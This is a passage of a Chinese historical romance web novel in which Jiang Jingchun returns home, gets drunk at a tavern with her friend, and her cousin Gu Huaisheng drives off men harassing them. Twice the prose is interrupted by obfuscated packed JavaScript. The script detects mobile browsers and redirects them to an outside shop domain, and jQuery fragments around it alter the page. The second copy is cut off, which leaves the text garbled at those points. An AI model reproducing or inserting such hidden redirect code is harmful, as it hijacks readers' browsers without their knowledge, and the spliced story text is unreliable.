当初说好了的,等她学完规矩就要回来,现下分明已经学有所成,却也不见人回来。 李氏也知道,现在姜净春怕是只会听老夫人的话,她让她回来,老夫人不松口,也不见得她肯回,所以便想找着老夫人来说。而且除此之外,她还有另外件事想要亲口问她...... 她先道:“小春这些天在母亲身边多叨扰了,我看她规矩学的差不多了,也是时候该回来了,便不留在这里继续打搅母亲了。” 老夫人明白她的意思,算起来,姜净春从三月底那会来,现下已经六月了,也有两个月的时间了,李氏现在来找她要姜净春回去,也算是正常。 李氏能撑过这两个月来寻她,也是有些让她意外的了。本来还想继续教养她些时日的,不过既李氏都找来了,那她断然也没有拒绝的道理。 老夫人道:“嗯,人好不容易规矩些,带回去后,可使不得再随便宠了。” 她学东西本就学得快,加上有心去学,这两月也成果颇盛。 不过学的也都只不过是最基础的那些规矩,再加上戒骄戒躁,整个人便规整了许多。至于琴棋书画那些......非一日之功,现下学,已经有些晚了。 李氏也没想到老夫人松口竟松得这样快,本来还以为她要跟她抢孩子,她都准备了一箩筐的说辞了。 她有些喜出望外,忙道:“自是不会。” 老夫人听了她的保证,面上没什么情绪,也不知道是信还是没信。 李氏得了她的应允,便又去问了另外一事,她道:“母亲可曾记得小春以前改过回名字?” 说起了这件往事,老夫人面上神情终于有所松动,她眉心一跳,看着底下的李氏问道:“当年她走丢过一回,你记不清了吗?” 当初她带着三岁的姜净慧前往山上的寺庙拜佛,结果......就是那次,姜净慧被人拐跑了。 可或许是因为这件事情对李氏来说,实在是太苦痛了,她记不清那年发生了什么事情,就如上一回,姜南同她提起姜净慧,可她却什么都不记得,净慧...... 净慧是谁。 她记不清了。 老夫人说姜净春以前丢过一回? 他们都记得,可独独她记不得。 那年究竟发生了什么事情,全都被她忘记得一干二净。 她看向老夫人,想要问她,当年究竟是发生了什么,然而,在触及到了老夫人的眼神之时,她噤了声,竟然没敢再去问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13887599|146117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些事情是不能被放在心上的,这样的话,好像怎么也不能向前看了。 从前发生什么,不重要。 重要的是,她的女儿,现在还在她的身边就够了。 李氏最后如愿以偿带走了姜净春,老夫人既放了她走,她自不好再说什么,只好收拾了东西跟李氏回去了崇明堂的住处。 姜净春回来了,李氏便满面春风,扯着姜净春的手到处说话,“本来早就想喊你回来了,只是你祖母盯得紧,这回竟松口松得这样轻快。” 她抓着她的手,发现这指骨摸着纤细了不少,于是便又把她的脸掰过来瞧了瞧。 瘦了不说,怎么形容看着还这般憔悴? 这是怎地了? 她停了步,扯着她问道:“鬼老天的,怎么把自己折腾成了这幅样子,老夫人虐待你了?” 人离开之前还是个水灵灵的大丫头,上次端午时节见她也还好好的,怎么这短短几日就跟被人吸走精气一样,眼底的两坨青黑格外明显。 姜净春仍旧一副悒悒不乐之色,她随便回了李氏的话,道:“祖母哪里会是那样的人,母亲别瞎想了。没甚事,只是天气热了,胃口不好了而已。” “这样啊,那今年得早些抬冰鉴出来了。” 姜南官任尚书之位,俸禄不算是低,再说,家中又是只有姜润初、姜净春这两个孩子,连小妾都没有,更遑论庶子女,而李氏名下财产也颇多,这样一来,姜净春的日子自然过得滋润,从小到大,没吃过什么苦。 这才六月的天,李氏就要给人上冰鉴了,生怕她要被热着一点。 不过听姜净春这样说了之后,李氏便也没再去想这事,只当她是天气热了胃口不好。 两人走至垂花门,恰好碰到了下值归家的姜润初,他身上还穿着一袭青色官服,刚从衙门里头回来。 姜润初看到姜净春,又看到身后奴仆手上提着大包小包的东西,便知道人这是要从老夫人那里搬回来了。 看着她形容这般憔悴,姜润初脱口而出道:“呦,这是为情所伤啊。” 一见了面,姜润初便忍不住讥她。 姜净春现在这幅样子,明眼人一看就看出来是怎么了。尤其是,这段时日顾夫人还在给顾淮声相看人家,看到他和旁的姑娘相互往来,姜净春如何不醋。 姜净春懒得理他,转头对李氏幽幽道:“哥哥都二十二了,母亲怎么还不给他说媒啊。” 说起这个李氏也头疼得厉害,哪里是她不想,姜润初在这事上和那顾淮声颇像,挑得不行,李氏从两年前就开始急,急了两年,也无甚用。 一开始她还能好声好气地劝他,到了后来,再提起他的亲事来,便对姜润初没了好脸色。 现下,姜净春就是故意又去提起此事。 果不其然,李氏开始对姜润初发作了起来。 一旁的姜净春看向他的表情幸灾乐祸。 姜润初一开始还气不行,可后来也不知是想到了什么,心中郁气便散了去,终于等李氏停了口,便扭头同姜净春呛起了声来,“我这亲事,成不成那便是松口话的事,就跟伏砚一样。可是你呢,从前叫让你读书的时候你不读,琴棋书画更是一个不通,你当我妹妹我都嫌弃,谁会想要娶你回家。” 这话实实在在戳到了姜净春的痛处,她不在乎姜润初喜不喜欢她,因为她也讨厌他。 可她在乎顾淮声。 姜润初说他嫌弃她,可听在姜净春的耳中,却是顾淮声也在嫌弃她,他的话就像是说,她这样不好的人,没人会喜欢的。 她气得面色涨红,重新呛了回去,“好啊,那你喜欢那样的妹妹,你找就是了,我才不管你喜不喜欢我呢!” 可谁知,姜润初却沉默了一会,他脸上表情也变得有几分古怪。 而后那古怪的表情消失不见,他面无表情看着她道:“我稀罕你当我妹妹吗。” 说完这话,便大步离开了此处。 姜净春愣了,一旁的李氏先她一步反应过来,她马上道:“这死孩子,我今日非不去打死他。” 这话不只是戳了姜净春,更是戳了李氏。 李氏要去追姜润初,可却被姜净春兰拦住,许是方才生了气,方才情绪波动得厉害,她的嘴唇都有些发白。 她冲着李氏摇了摇头,道:“算了,母亲。” 她想算,李氏却不肯算,还想再说些什么下去,然姜净春先她一步道:“我有些累了,想先休息了。” 说着,便往回廊下走,往自己先前在崇明堂的院子回去了。 18. 第十八章 回了崇明堂后的几日,姜净春状态看着仍旧不怎么好,李氏看在眼里,可问她究竟是怎么了,她却又不肯去说。 没了办法,她便去陈家让人去喊了陈穆清来。她们年岁相仿,素来玩得好,她不愿意同她说的话,或许愿意同她说。 陈穆清一来姜家,一看姜净春那副要死不活的样子,马上就知道她是怎么了。 能让她这幅样子的,想来也就只有顾淮声了。 可是问她如何了,姜净春却又一个劲地说没事,油盐不进。 陈穆清将人出姜府走走,若是一直闷在姜家,也怕要闷出什么毛病来了。 况说,这回有李氏给兜底,他们就算回去得再晚,也不打紧。 马车上,陈穆清问她,“去醉香楼吗?” 醉香楼,是京城之中一家挺出名的酒楼,陈穆清这是看她难受,想带她去买醉。 陈穆清家中从武,母亲去得早,父亲和哥哥又在外头打仗,家中便也只有父亲娶得那个后母和她在。她和她后母的关系不大好,从她嫁进门之后,陈家日日闹得鸡飞狗叫。 陈穆清形事不拘小节,只顾自己快活,反正父兄在外,她也不听后母的话,家中便是她最大。 酒楼这种地方,一般去的多为男子,若女子去了,难免会叫人编排是非。不过陈穆清却也不大在乎,酒楼外头又没有挂着“只允男子进入”的牌子,她们想进去借酒消愁,谁管得着? 找间厢房,喝个不醉不归又如何。 她冲着姜净春挑了挑眉,问她道:“去不去?若是去的话,我现在就让车把式掉头。” 陈穆清解决问题的方法就是这样简单粗暴,心情不好,灌几壶酒下去,说不准就好了。 或许是连日的心情不济,被心事压着,姜净春的眼睛都有些雾蒙蒙的,看着陈穆清的眼神也有些木然,看着还在犹豫,也没说是去还是不去。 看她这幅样子,陈穆清便也没再等她回答,掀起了车帘,对着外头车把式道:“往醉香楼去吧。” 车夫得令,便调转了方向。 她们马车上的箱子里头常年放着兜帽,以备出入这些场所,用做不时之需,现下,来了酒楼,她们两人同丫鬟便戴上了兜帽,往里头去。 酒楼里头不是不能来女子,只是为了自己的名声,她们最好还是少同这些被男子挤占的声乐场所沾边,所以,常年来,这地方便鲜少有女子涉足。 今日这里来了两个戴着兜帽的姑娘,观其模样打扮,像是大户人家的小姐。 二人一出现在此处,便有不少人注意。 陈穆清扭头让小二给她们开了间厢房,没将那些打量的视线放在心上,反正他们又瞧不见她们的脸,看了便看了,那又何妨。 不过,她还是长了个心眼,让人去了宋家喊宋玄安来。 不让宋玄安来收尾,一会姜净春喝昏过去,她也背不动她呀。 她们跟着小二上了二层的厢房之中。 进了屋后,陈穆清便点了好几壶酒来。 酒上好后,她便推到了姜净春的面前,“喝吧。” 姜净春也没拧巴,看着面前的酒,仰头就闷了大口。 她的酒量不大好,一口下去,便被呛了个不行。 陈穆清笑了两声,拿了她手上的酒壶,换了另外一壶没那么烈的给她。 “小春,什么倒霉运气呀,一挑就挑到了猛的。” 一口酒下去,就那么一会的功夫,姜净春的脸上就浮上了一坨醉红。 陈穆清还没开口去问,到底是发生了什么事情,姜净春就自己倒豆子一样,说了起来。 “怎么办啊,表兄他好像喜欢上别人了。姑母已经开始给他说亲了,他已经开始相看人家,上一回端午,我邀他去看花灯,他不去,可是我上街的时候,就撞到他和别家的小姐在一起。” 京城就那么大的地方,热闹的街也就那么一条,他们要撞见,实在是太容易了。 她好不容易鼓起勇气,去问他能不能同她一起逛街,可她等了那么一日,就看到他别人一起。 “我问表兄喜不喜欢那个小姐,他竟说还行。” 姜净春的声音都带了几分哭腔。 她说,“我那样喜欢他,可他为什么就是不喜欢我呢。他喜欢什么样的的人,我就去学,可是,不喜欢就是不喜欢.......” 不喜欢这三个字,也太让人头疼了些。 若是这样,当初她在郊外失踪的那次,救下她的是谁都好,怎么都不要是顾淮声。 就那么一眼,耽误了她整整两年。 这两年,她什么都做了,可还是没有用。 本来也没关系的,只要顾淮声不喜欢别人就好了......可是他若是要成婚了呢? 那她和他就彻彻底底,再也没有可能啊。 这辈子也没受过这种气,憋了这么些个时日,终于在一壶酒后,尽数撒出。 她扯着陈穆清,越想越是难受,哭得已经一把鼻涕一把泪了,“我真的很喜欢他,怎么办啊,阿清......” 陈穆清将人揽到了怀中,她看着她这样,叹了口气,也没办法,只能一下一下摸着她的脑袋,安慰着她。 感情这事,奇奇怪怪得很,她哪里能弄得清楚呀。 她最多最多也就是只是看过几本谈情说爱的话本子,对“感情”二字的理解,最多也就是出于此处。 她开始回忆话本子中的事,奈何,就连这些情情爱爱的话本子,她都是为了气她那个后母而去看的。后母不喜欢这些东西,她偏就要在房间中堆满了这些来气她。 但看姜净春哭得这样厉害,她心中也实在是不好受。 她奋力回想,想用自己的毕生所学,给姜净春提出一些实质性的意见来。 灵光一闪,终于,她好像想到了什么。 她坐直了身来,对姜净春道:“我晓得了,我晓得你该怎么办了。” 姜净春喝醉了,又哭了那么一通,思绪已经散成了一团,她有些懵地看着她道:“什么......?” 陈穆清凑到她的耳边,同她耳语。 姜净春反应了许久,才明白她是在说些什么。 她怀疑是自己听错了,就连哭都忘了哭,她道:“阿清,你开什么玩笑呢。” 陈穆清虽然也觉得古怪,可是话本子上切实是这样说得没错。她认真地点了点头,道:“自是不会骗你,我看过话本子呢,那上面都是这样演的呢。” 姜净春也爱看话本子,不过她看得话本子,同陈穆清的是不是不大一样啊? 陈穆清说,“坐怀不乱的圣僧,就是被妖精吧唧亲了一口后,就不可自拔地喜欢上了她!我真的没骗你。还有还有,就是高高在上的神仙,被他口中那低等卑劣的凡人,亲了一口,他就开始满脑子都是她了呢。” 这嘴巴上面一定是沾了点什么不可说的魔力。 姜净春叫她说的更懵了。 她转着晕乎乎的的脑子想了想,如果她吧唧亲了表兄一口...... 她想,他会掐死她的吧。 光是想想都打了个寒颤,酒都被吓醒了几分。 姜净春又仰头灌了口酒,而后放下了手上的酒壶,仰头躺到在了地上。 陈穆清躺去了她的身边,她偏头看着她认真道:“真的呢,我可没瞎说,你试试呗,万一呢?反正都这样了,即便不成,也不亏,若是成了,你这不就心想事成了吗。” 理智告诉姜净春这样做不行,可是她却想,陈穆清的话好像确实不错。 便是不成,又还会更糟糕吗。 不会了,现在已经是最糟糕的时候了。 姜净春扭头,看向了一旁的陈穆清,她痴痴笑了两声,而后道:“阿清,我觉得你说得不错。” 她得找个好机会,亲他一口。 她笑了笑,即便他不喜欢她,她也要占他这个便宜。 两人又喝了好些酒,最后还是陈穆清眼看再喝下去,姜净春就得喝昏过去了,才终于去开始拦酒。 她夺走了她手上的酒壶,道:“好嘞好嘞,再喝下去可不成了,时候不早了,我先送你回家去。” 陈穆清倒还没醉得那般厉害,脑子还尚有几分清醒。 她暗忖宋玄安怎么这个时候还没有来,猜他或许是家中有事被拌住了脚步,来不了了。 也罢,靠他靠不住,那便只能自己来了。 她将两人的兜帽穿戴好,而后同花云一起将她扶起了身来,驼着她往外去了。 可就在她们要下楼梯之时,却碰上了一群人。 “这两位小姐是要走了吗?”这话问得带了几分轻佻和不合好意。 陈穆清听到声响,隔着兜帽往外看去,发现楼梯拐弯的平台那处,站着两三男子。 他们几人身着锦衣,年岁不大,看着像哪个富贵人家的公子,结伴出来玩乐。 不过,应当也不是什么钟鸣鼎食之家出来的人。毕竟大户人家的公子哥们,最是自矜,在酒楼中意图调戏女子,除了不要脸皮的纨绔,有几个能做得出来? 而若是那顶天的纨绔,各个“声名显赫”,陈穆清也不会不认识。 或许是察觉到了不善之气,陈穆清的酒一下就醒了不少,她扛着已经醉得不像话的姜净春,看向他们的眼神也带了几分警惕。 他们堵在这处,想来是自她们来的时候便注意到了,见她们几个女子,就起了歹心,现下看她们要走,又缠了上来。 那几人见她不答话,便上了几步台阶,陈穆清当即拖着姜净春也动弹不得,当即出声呵斥,“停下!再敢往前一步,我叫人了!” 青天白日朗朗乾坤,她还不信他们敢怎么着了。 那几人听了这话,却没有想要停步的意思。 为首那人笑道:“怎么了,你们上酒楼来不就是来寻快活的吗,这么快就出来,尽兴了吗?若没尽兴,我们哥几个儿再同你们好好玩玩啊。” 在他们看来,这两个人都已经上酒楼了,不就是来寻快活的吗,哪个正经人家的姑娘会往这里跑,都来这里了,还能是什么好姑娘?既不是好姑娘,同他们玩玩那又怎么了呢? 他们几人已经快要走到面前,眼看有不达目的不罢休之势,陈穆清这才发觉,事情约莫有些难办起来了。 她大可以亮明真身,她爹是将军,常年打胜战、战功彪炳的大将军,这几人总该会忌惮一二。 只是......上酒楼来喝酒,还闹得人尽皆知,要被她爹知道,等他过年回来,定要抽她了。 但现下也实在是没了办法。 就在她要自报家门的时候,传来了一道清冷的声音。 “你们没听到吗,她不是说不想去吗。” 陈穆清往手话那人的方向去看,发现竟是顾淮声。 此刻,他正拾阶而上,往楼梯上走来,今日也非休沐的日子,也尚未到了下值的时辰,他却出现在此处? 陈穆清看到顾淮声的身边还跟着个人,那两人穿着官服,像是来办公务。 没想到竟然这样凑巧,这样也能碰上,她下意识拉紧了姜净春的兜帽,生怕被他看见。 即便她和姜净春一样,也是一样混账惯了的,可在顾淮声面前,她总是有些怵的。再说,若是被他发现她们来喝酒,上酒楼,也不知该如何做想。 他那样守规矩的人,一定要恼死了。 陈穆清看向他的眼神都带了几分紧张,怕被认出。 不过,他一出现那几个男子果真也就安分。 为首的那人朝顾淮声看去,他们显然没能认出他是谁,只是被他周身的凌厉气势唬住。 虽然只是那样一句简单的话,可也吓得他们一时之间没敢动作。 为首那人先抖了抖精神,他仗着自己站得高,居高临下硬仗腰子,鼓了气后冲着底下的顾淮声喊道:“你算什么人,瞎管什么闲事?!” 语气中显然带了几分恼羞成怒。 眼看事情就要成了,他瞎掺和些什么呢,怎这么烦人。 顾淮声虽站在台阶下,可却也没有落了下风,通身气度,直压得人喘不上,听到他的话,嘴角竟还勾起了一抹笑,这笑出现在他的脸上,让他沾染了不常见的少年人的狂妄。 可看向他们的眼眸中只剩寒霜,抬眸轻视,只有不屑。 很少能在顾淮声眼中见得这样的神情,他出身高门,却也不会自恃风骨。 现下这样显然是生气了。 “我算什么人?”顾淮声笑着道:“京城顾家,贺阳侯府的小侯爷,时任左佥御史。” “怎么,你也想寻我的麻烦吗?” 他的语气平淡,甚至是笑着说出的这话。 那几人听到这话,却大惊失色。 他们不曾见过顾淮声,但小侯爷的名声还没听过?四品级别的官他们还不知道厉害? 方才怎就没看到他身上穿着的绯红官服呢!现下经由他的提醒,这才发现。 为首的那个男子知道自己踢到了铁板,却还在嘴硬,他道:“她们自己都上酒楼来了,我们不过是想寻她们玩罢了,有什么不行?” 陈穆清听了这话气得直抖,也不看看自己什么东西。 她方向要出口同他相争,却听顾淮声先一步开了口。 “她们不是不愿意吗。”顾淮声脸上的笑意已经褪去,他道:“再说,你上酒楼做得,她们上酒楼就做不得,上来了就要被你这样的脏东西纠缠?” 那男子被骂做脏东西,脸色都叫气成了猪肝色,“她们是女子......” 顾淮声问,“所以你的意思是,玩乐之所,女子就去不得?” “不然呢?出来抛头露面,不守规矩,既她们这般放:荡,我怎么就调戏不得?她们若好好的走在大街上,难道我也上去抢不成?” 这般歪理从他口中说出,就那样顺理成章。 “你放什么狗屁呢!”陈穆清气得破口大骂,她怀中倒着的姜净春被她这一喊声吓得打了个激灵,已有转醒迹象,只是陈穆清气在头上,哪里注意得到。 顾淮声听了那男子的话不怒反笑,他点了点头,似乎是在思考他的话是否正确。 “你说得不错,她们好好的,你也要上去抢。那我知道了,问题当是出在你们身上,只要你们不在,她们好像也不会有这样的困扰了。” 顾淮声没有再理会那人,他扭头唤来了一直在旁边的店小二,他对店小二道:“看到他们了?” “他们几人往后便不要再放进来了,过后我让人送五百两来贵店。” 店小二早就认出了顾淮声,他哪里敢要钱,也自不会因为那些人得罪了顾淮声,他忙道:“小侯爷客气,既他们得罪了您,往后我们自不会让他们几个再来,钱什么的,可万万不敢啊。” 顾淮声又继续道:“收下吧,烦请再帮我跑几趟,传个话。” 店小二虾腰垂眉,见他如此客气,诚惶诚恐,他道:“小侯爷只管吩咐便是。” “烦你找几个人,去京中各个酒肆、酒楼说声,谢绝此行人入内。” “你凭什么!”一旁那人气道。 顾淮声没有再理他,对小二淡声道:“便说是他们得罪了我。” 言下之意,往后谁还敢招待他们,那就是同他顾淮声作对。 既他们管不住自己,他帮帮他们。 店小二听了顾淮声的话,错愕了一瞬,待反应过来之后,马上就应承了下来。 家世、名声就摆在那里呢,他们几人得罪了顾淮声的消息传出去,往后还想要在京城好过吗?也只能说是他们倒霉活该了,小侯爷素光风霁月,定是见不得这样强抢民女的事情发生,现下被他看到,他们还想要好过,只怕是在京城都要混不得好了。 店小二眼看那群混账还想要继续闹腾下去,怕他们冲撞了顾淮声,忙让人来赶了他们出去。 那些人被赶走了之后,此地一下便安静了不少。 四下安静,陈穆清看向顾淮声的眼神都变得几分复杂了起来,从前她还不明白,姜净春怎么喜欢顾淮声喜欢得死去活来,现下,终于能明白几分了。 她们上酒楼,虽然是没错,可若真传出去,所有人都会觉得是她们的错。 可顾淮声竟不那样觉得…… 这样想着之时,怀中倒着的人忽地发出了一声嘤咛声,陈穆清叫吓一跳,怕顾淮声听到,认出她们,慌忙捂上了她的嘴,不叫她发出一丝声音。 她看向顾淮声,顾淮声也看向她们,不过面上仍旧没什么表情,想来也不曾听到方才的那声轻咛,只是视线好像落在姜净春的身上。 顾淮声眉头微蹙,像是有几分不满,他道:“既不胜酒力,下次便少来这种地方。” 这话好似还带着几分家中长辈说教的意味,陈穆清下意识觉得,不是说给她听的,而是说给她怀中倒着的那个人听的。 陈穆清怕说多错多,忙应下,道:“好,等她醒来,我定会好好同她说道说道,今日多谢公子,我们便先走了。” 说罢,陈穆清便又和花云扛起了人往楼梯下走。 路过顾淮声时,她更没敢停留,还时时要顾忌姜净春的兜帽,生怕掉了下来,就要遭殃。 终于下了楼梯,陈穆清松了口气,她扭头去看顾淮声,见他也已经和身旁那人往楼上的厢房走去了,他旁边那人好像在喋喋不休说着些什么。 事情解决,顾淮声便同何川上了楼,他们今日来,本来是为了上回的天禄台贪污一案。 今日有探子传消息来,说上一回大理寺主审案子的寺丞今日会来这醉香楼和人见面,想来就是给他行贿保下工部郎中的那人了。 本来他们提前了半个时辰的功夫来,就是为了早些藏在暗中,到时候将人抓个现行。 结果顾淮声弄这么一出,也不知道会不会打草惊蛇。 何川在顾淮声的旁边道:“你怎么就非要蹚浑水呢,万一被他们听到了风声,岂不是白来一趟了吗。” 顾淮声上了楼,道:“不会。” 他安排了人守在外面,方才发生的事情,也传不出去。 何川不明白他为何如此胸有成竹,但他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋玄安问,“你想让这帽子戳死我是吧。” 好吧,也是。 宋玄安直接拦腰抱起了姜净春,她被他抱在怀中,脑袋东倒西歪往一处倒去,洁白的纱布顺着脸颊滑过,发丝松散垂在脸侧,一张白皙的小脸上泛着两坨红晕。 陈穆清一时不察,叫她脸露了出来。这好死不死的,这脑袋还是往楼梯的方向偏过去的。 她吓了一跳,赶紧给她盖了回去。 她抬头去看,就见顾淮声也在往他们的这个方向看。 陈穆清也不知他看没看见,可还是莫名觉着做贼心虚,催着宋玄安赶紧离开了此处。 “快走快走,此地不宜久留。” 他们几人的身影就这样消失在了此处。 何川收回了视线。 上一回姜老夫人六十大寿,他也去了姜家,也见过姜净春,方才那眼,显然是认出她来了。 他讷讷道:“这姜大小姐胆子也忒大些了吧。” 不敢想方才若是出了事,可得闹成什么样子。 见顾淮声许久没有说话,他撇头去看,只见他的视线仍旧落在那几人离开的地方,下颌好似绷成了一条线,那张冷白无暇的脸面无表情。 等等……何川忽然明白了什么。 “所以,你早就知道她是你的表妹了啊?” 那是难怪方才那样生气了。 家中的妹妹上酒楼遭人调戏,不生气都说不过去了。 只不过,他现在怎么还瞧着比方才更生气了些呢?顾淮声这人,情绪素来不外露,若能叫人瞧出端倪,可见是真动气了。 顾淮声没有回答他的话,只是沉默片刻,后道:“这事别说出去了。” “有毁名声。” 她这幅情态,醉倒在了一个男子的怀中...... 顾淮声的脑中仍旧是方才姜净春不经意露出的那一面,那红透了的脸,比盛开的桃花还要艳些。 他眉头蹙得更紧,想要将脑海中的画面驱赶出去,可却怎么也赶不走。 姜净春的身形很好认,而且陈穆清的声音他也听过,所以,早在一开始他就认出了她们二人。她喝酒,他并不曾多想,虽他重礼数,可也不曾死板的认为酒这东西只有男子饮得。 他不大在意这些,可现下,看到她醉在别人的怀中,他却只觉得自己的额间穴跳动得厉害。 就像上一回,看到她那鲜艳的红唇。 他也这样。 太随便了,他想。 她怎么能这样随便的就去同别人做这样的事呢。 “呵。” 顾淮声轻嗤了一声。 小孩子的喜欢,果然来得快,去得也快。 他揉了揉拧得有些发疼的眉心,收回了视线。 * 那头姜净春晕得不行,宋玄安和陈穆清,便赶紧将人送回姜家去。 他们等在后门处,让花云进去喊了姜夫人出来。 陈穆清提醒宋玄安道:“把人放下扶着,不然一会姜伯母瞧见会不高兴的。” 宋玄安不懂,“这样怎么了吗?” 哪家大人喜欢看到自家女儿被别的男人抱着?在他们眼中那是极其不合规矩的事情,若传出去了,那是要倒霉的。 但看宋玄安的样子,陈穆清也懒得跟他解释,让他听她的就是了。 李氏赶来,看到姜净春这幅样子,惊道:“我的天爷,这是喝了多少?怎就成了这样。” 语气中带着淡淡的责备之意。 陈穆清闻此有些心虚地摸了摸鼻子,宋玄安在旁边瞪了她一眼,也是在责怪。 两人将人送到之后,也没再留,目送着李氏把人带回去便也离开。 李氏这头扶着人回屋,好巧不巧撞见了姜南。 姜南闻到了她身上的那股酒气,又看到人喝得这般烂醉,眉头一拧,张口就是训斥,“这混账,又是去了哪里!跟匹没笼头的马驹似的到处散逛,哪有一日肯在家里!” 李氏同他呛道:“这又不是深更半夜,喝点就喝点,那又怎了?怎么,就你能喝,她就喝不得?少拿你那些条条框框来塞她身上。” 姜南叫她一噎,还想再说,可却忽从外头走来了侍卫,凑到他耳边说话。 也不知道是说了些什么,姜南面色大变,脸上露出喜色,而后甚至还来不及跟李氏继续说下去,就急忙往外奔去。 李氏还没来得及问他出去是要做些什么,就见人已经没了人影。 她嘀咕了声“莫名其妙”,便也没再多想,扶着姜净春往屋里去了。 * 姜净春从昨日回来躺上床后便一直睡到了第二日晌午。 她从迷蒙中醒来,宿醉过后,脑子果真就疼得不像话。抬头看向窗外,日上三竿,阳光透过窗棂照进了屋内的地面上,看着时候不早了。 一旁的花云见她醒了,忙将人扶了起来,让她靠坐在了床头,又从一旁递上了一碗醒酒汤。 姜净春接过喝下,而后揉了揉肿胀发疼的太阳穴,问道:“现下是什么时候了?” “已经过了晌午了呢,方才夫人还来看过一趟,见你睡着,便又走掉了。” 姜净春也没想到竟睡了这般久,点了点头,算是知晓。 她看了眼屋外,夏日的艳阳毒辣又刺眼,看着如此景象,脑子也渐渐活络了过来。 昨日喝了多久?喝了多少? 她已经快有些记不清楚了,只是记得,一壶又一壶的酒灌了下去,而后再也撑不住,直接不省人事倒了过去。 饮了醒酒汤之后,头还是有些疼,她锤了两下脑袋,总觉得还有些什么东西没想起来。 她依稀记得昨日好像是听到顾淮声的声音了,可他又怎么会去酒楼里头呢。 难道是在做梦吗? 她不知道。 但想起顾淮声,她终于想起了自己忘记掉的事情是什么了。 圣僧与妖女...... 陈穆清同她说,妖女亲了下圣僧,圣僧便怦然心动。 听着总像是唬人的话。 可这想法却像是入了心,在脑海之中怎么都挥散不去。 顾淮声几乎都要成了她年少之时的执念,她十四岁被他所救,转而起心动念,现下她十六了,已经两年了。 陈穆清的话虽然听着不大靠谱,可姜净春此刻已经走到了穷途末路,无论她怎么做,她的表兄也不会对他笑,也不会喜欢她。 亲他? 试试吧。 她想。 她转头问,“花云,今日是初几啊。” “初十,怎么了小姐。” 初十,那顾淮声今日便没有上值。 姜净春默声片刻,而后起身去了书桌那边,她对花云道:“你去让人帮我给表兄送封信吧,我想邀他下午出去一趟。”